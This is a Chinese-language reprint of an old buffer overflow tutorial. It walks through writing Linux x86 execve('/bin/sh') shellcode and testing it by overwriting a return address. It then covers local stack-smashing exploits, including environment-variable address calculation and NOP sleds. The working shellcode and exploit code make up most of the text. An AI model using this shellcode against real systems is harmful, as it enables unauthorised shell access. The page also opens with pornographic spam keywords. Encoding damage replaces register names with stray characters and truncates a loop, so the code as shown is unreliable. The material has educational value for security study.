欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

緩沖區(qū)溢出解密三

互聯(lián)網   發(fā)布時間:2008-10-08 19:04:05   作者:佚名   我要評論
如何執(zhí)行 /bin/sh? 在C中,spawn出一個shell的代碼可能象這樣: shell.c : #include void main() { char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, N

如何執(zhí)行 /bin/sh?
在C中,spawn出一個shell的代碼可能象這樣:
shell.c :
#include
void main()
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
}
[murat@victim murat]$ make shell
cc -W -Wall -pedantic -g shell.c -o shell
[murat@victim murat]$ ./shell
bash$
如果你看execve的man說明頁($man 2 execve),你將看到execve要求一個將要執(zhí)行的文件名的指針,一個NULL終止的參數數組,和一個可以為NULL的環(huán)境指針。如果你編譯運行了這個輸出的二進制文件,你將看到你spawn出了一個新的shell。
目前為止一切順利……但是我們不能用這種方式spawn出一個shell,是嗎?我們如何能用這種方式把這個代碼放到漏洞程序里去呢?我們不能!
這給我們造成了一個新問題:我們如何能把我們的攻擊代碼傳給漏洞程序?我們將需要在易受攻擊的緩沖區(qū)傳遞我們的代碼,它很有可能是一段shell代碼。為了實現這個目標,我們必須能夠把我們的shell代碼用一個字符串表示。
因此,我們將列出所有的來spawn出一個shell的匯編指令,得到它們的運算碼,把它們一個一個列出來,然后把它們作為一個shell生成串組裝起來。
首先,讓我們看看上面的代碼(shell.c)在匯編中是什么樣子。讓我們靜態(tài)編譯程序(這個方法,execve系統(tǒng)調用也將被反匯編)然后看:
[murat@victim murat]$ gcc -static -g -o shell shell.c
[murat@victim murat]$ objdump -d shell | grep \: -A 12
0804ca10 :
804ca10: 53 pushl 離
804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
804ca1d: b8 0b 00 00 00 movl $0xb,陎
804ca22: cd 80 int $0x80
804ca24: 5b popl 離
804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎
804ca2a: 0f 83 00 02 00 jae 804cc30
804ca2f: 00
804ca30: c3 ret
804ca31: 90 nop
[murat@victim murat]$ 讓我們一步一步地分析這個系統(tǒng)調用:
記住,在我們的main()函數里,我們寫了代碼:
execve(shell[0], shell, NULL)
我們傳遞了:
·字符串”/bin/sh”的地址
·NULL結尾數組的地址
·NULL(實際上它是環(huán)境地址)
此處,在main里面:
[murat@victim murat]$ objdump -d shell | grep \: -A 17
08048124 :
8048124: 55 pushl 雙
8048125: 89 e5 movl %esp,雙
8048127: 83 ec 08 subl $0x8,%esp
804812a: c7 45 f8 ac 92 movl $0x80592ac,0xfffffff8(雙)
804812f: 05 08
8048131: c7 45 fc 00 00 movl $0x0,0xfffffffc(雙)
8048136: 00 00
8048138: 6a 00 pushl $0x0
804813a: 8d 45 f8 leal 0xfffffff8(雙),陎
804813d: 50 pushl 陎
804813e: 8b 45 f8 movl 0xfffffff8(雙),陎
8048141: 50 pushl 陎
8048142: e8 c9 48 00 00 call 804ca10
8048147: 83 c4 0c addl $0xc,%esp
804814a: c9 leave
804814b: c3 ret
804814c: 90 nop
在調用execve(call 804ca10 )之前,我們反序把這些參數推入到堆棧中。
因此,如果我們回到__execve:
我們拷貝NULL字節(jié)到EDX寄存器,
804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
我們拷貝以NULL結尾數組的地址到ECX寄存器,
804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
我們拷貝字符串"/bin/sh"的地址到EBX寄存器
804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
我們?yōu)閑xecve拷貝系統(tǒng)索引,即11(oxb)到EAX寄存器:
804ca1d: b8 0b 00 00 00 movl $0xb,陎
接著變成核模式:
804ca22: cd 80 int $0x80
我們需要的全部就是這么多了。然而,這里還有一些問題。我們不能準確地知道NULL結束數組和”/bin/sh”字符串的地址。那么,這個怎么樣?:
xorl 陎, 陎
pushl 陎
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,離
pushl 陎
pushl 離
movl %esp,靫
cdql
movb $0x0b,%al
int $0x80
讓我解釋一下上面的指令:
如果你進行自身異或,你得到0,等同于NULL。這里,我們在EAX寄存器中得到一個NULL。
xorl 陎, 陎
接著我們把NULL推入堆棧:
pushl 陎
我們把字符串”//sh”推入堆棧,
2f is /
2f is /
73 is s
68 is h
pushl $0x68732f2f 我們把字符串”/bin”推入堆棧:
2f is /
62 is b
69 is i
6e is n
pushl $0x6e69622f
可以猜想,現在堆棧指針地址就象我們的NULL結尾字符串”/bin/sh”的地址。因為,從指向棧頂的指針開始,我們有了一個NULL結尾的字符串數組。因此,我們拷貝堆棧指針到EBX寄存器。這樣,我們就已經把”/bin/sh”的地址放到EBX寄存器中了。
movl %esp,離
接著我們需要用NULL結尾的數組地址設置ECX。為此,我們在我們的堆棧中創(chuàng)造了一個NULL結尾的數組,與上面那個很像:首先我們PUSH一個NULL。我們不能PUSH NULL,但是我們能PUSH值為NULL的東西,回顧我們異或EAX寄存器在那我們得到了NULL,因此讓我們PUSH EAX來在堆棧中得到一個NULL。
pushl 陎
接著,我們PUSH我們的字符串的地址到堆棧,這等同于shell[0]:
pushl 離
現在我們有一個NULL結尾數組的指針,我們能夠在ECX中保存它的地址:
movl %esp,靫
我們還需要其它什么呢?一個在EDX寄存器中的NULL。我們能movl 陎, 韝,但是我們能用一個短的指令完成這個操作:cdq。這個指令是把EAX中的符號位擴展到EDX。:
cdql
我們設定EAX 為0xb,這是系統(tǒng)調用表中的系統(tǒng)調用id。
movb $0x0b,%al
接著,我們轉換到核模式:
int 0x80
之后,我們進到核模式,內核將調用exec函數執(zhí)行我們指示給它的:/bin/sh 這樣我們將進入一個交互shell…… 因此,在講了這么多以后,我們所要做的全部就是把這些匯編指令轉換到一個字符串中。因此,讓我們得到這些十六進制運賽碼然后匯編我們的攻擊代碼:
sc.c :
char newsc[]= /* 24 bytes */
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
main()
{
}
[murat@victim newsc]$ gcc -g -o sc sc.c
[murat@victim newsc]$ objdump -D sc | grep \ -A13
080494b0 :
80494b0: 31 c0 xorl 陎,陎
80494b2: 50 pushl 陎
80494b3: 68 2f 2f 73 68 pushl $0x68732f2f
80494b8: 68 2f 62 69 6e pushl $0x6e69622f
80494bd: 89 e3 movl %esp,離
80494bf: 50 pushl 陎
80494c0: 53 pushl 離
80494c1: 89 e1 movl %esp,靫
80494c3: 99 cltd
80494c4: b0 0b movb $0xb,%al
80494c6: cd 80 int $0x80
80494c8: 00 00 addb %al,(陎)
...
[murat@victim newsc]$
在上面的圖中,第一行是指令內存地址,接下面的行是匯編指令的運算碼,這也是我們興趣所在,而最后一行是與運算碼相關的匯編指令。

那么,這里就是完整的shell代碼:
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
最后測試我們的shell代碼:
shellcode.c :
char sc[]= /* 24 bytes */
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
main()
{
int *ret;
ret = (int *)&ret 2;
*ret = sc;
}
[murat@victim newsc]$ gcc -g -o shellcode shellcode.c
[murat@victim newsc]$ ./shellcode
bash$
嗯,它生效了。上面我們所做的是,增加ret的地址2個雙字(8字節(jié)),因而就到了main()的返回地址存儲的內存位置。接著,因為ret相應的地址現在是RET,我們把字符串sc(就是我們的攻擊代碼)的地址存到ret。實際上,我們在這里改變了返回地址的值,而這個返回地址就指向了sc[]。當main()發(fā)送RET時,sc的地址寫到EIP中了,接著,CPU開始在這執(zhí)行指令,造成了/bin/sh的執(zhí)行。 寫本地緩沖區(qū)溢出漏洞利用程序
現在,讓我們看看下面的程序:
victim.c :
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char large_str[50];
void main()
{
int i;
char foo[12];
int *ap = (int *)large_str;
for (i = 0; i
瞧!就是它了!我們做了什么?在for循環(huán)里面,我們拷貝了我們的shellcode字符串的地址。由于地址是32位(4字節(jié)),我們以4為步長增加i。接著,在main()里,當我們把有我們shellcode地址的large_str拷到實際只能容納12字節(jié)的foo,strcpy沒有邊界檢查,而且一直拷貝到main的返回地址。接著,當strcpy指令發(fā)送到RET,我們shellcode的地址已經被POP進去了,而且放入了EIP。接著它就被執(zhí)行了。這里有一件事是:strcpy沒有溢出它的緩沖區(qū),它溢出了main()的緩沖區(qū),因此覆蓋了main()的返回地址。我們的shell在main()返回的時候開始,而不是strcpy返回的時候。
上面的victim.c是我們的程序。我們知道我們的shellcode跳轉的地址。如果我們要求利用另外程序的緩沖區(qū)又該如何去做呢?我們不能預先知道內存的布局,不是嗎?這也意味著我們不知道我們的shellcode的地址。我們現在該怎么做呢?首先,我們必須用某些途徑把shellcode植入到有弱點的程序,而且無論怎樣我們必須得到shellcode的地址。當我們談論本地漏洞利用時,有兩種方法。
1.如Aleph1的著名文章”Smashing the Stack for Fun and Profit”所介紹的,我們把我們的shellcode放置到有缺陷程序的緩沖區(qū),而且嘗試著猜測到我們漏洞利用程序的ESP偏移量。2.這第二個方式更加簡單和聰明。通過這種方法,我們能知道我們shellcode的地址!這真是太好了!怎么做?看這個:如果你在一個linux ELF二進制文件第一次裝入內存的時候通過gdb看它的高位地址,你將看到象這樣的一些東西:
--------------------- 0xBFFFFFFF
|\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)
|\000 ...... | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................| ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
| . |
| . |
| . | 看上面的圖,我們都會同意我們能計算最后一個環(huán)境變量地址。它是:
envp = 0xBFFFFFFF -
4 - (4 NULL bytes)
strlen(program_name) - (program_names's length - without the leading NULL).
1 - (NULL which strlen did not count above)
strlen(envp[n])) (the length of last environment string)
除去一些不必要的計算,這里是最終的結果:
envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])
你還記得我們給execve提供一個環(huán)境指針嗎?這有沒有讓你想起什么?對了,我們可以通過這個環(huán)境指針把我們的shellcode傳給漏洞程序,并且計算它的地址。這意味著我們完全知道我們需要寫什么地址到漏洞緩沖區(qū)。
計算我們的shellcode 地址的公式:
ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);
至于Aleph1在他的文章中討論的在外面被廣泛使用的方法,多少有點比我們的環(huán)境變量技術難得多。關于細節(jié)你們可以看Aleph1的文章,Smashing the Stack for Fun and Profit。
一般來說,在這個方法中,我們把”NOP”指令(NOP)放在緩沖區(qū)的開始。NOP之后,我們放置我們的shellcode,接著是這個shellcode的地址。
如我前面所說的,既然我們不知道我們shellcode的準確地址,我們在緩沖區(qū)開頭填一些NOP指令增加我們跳到我們的shellcode附近一些位置的可能性。

相關文章

最新評論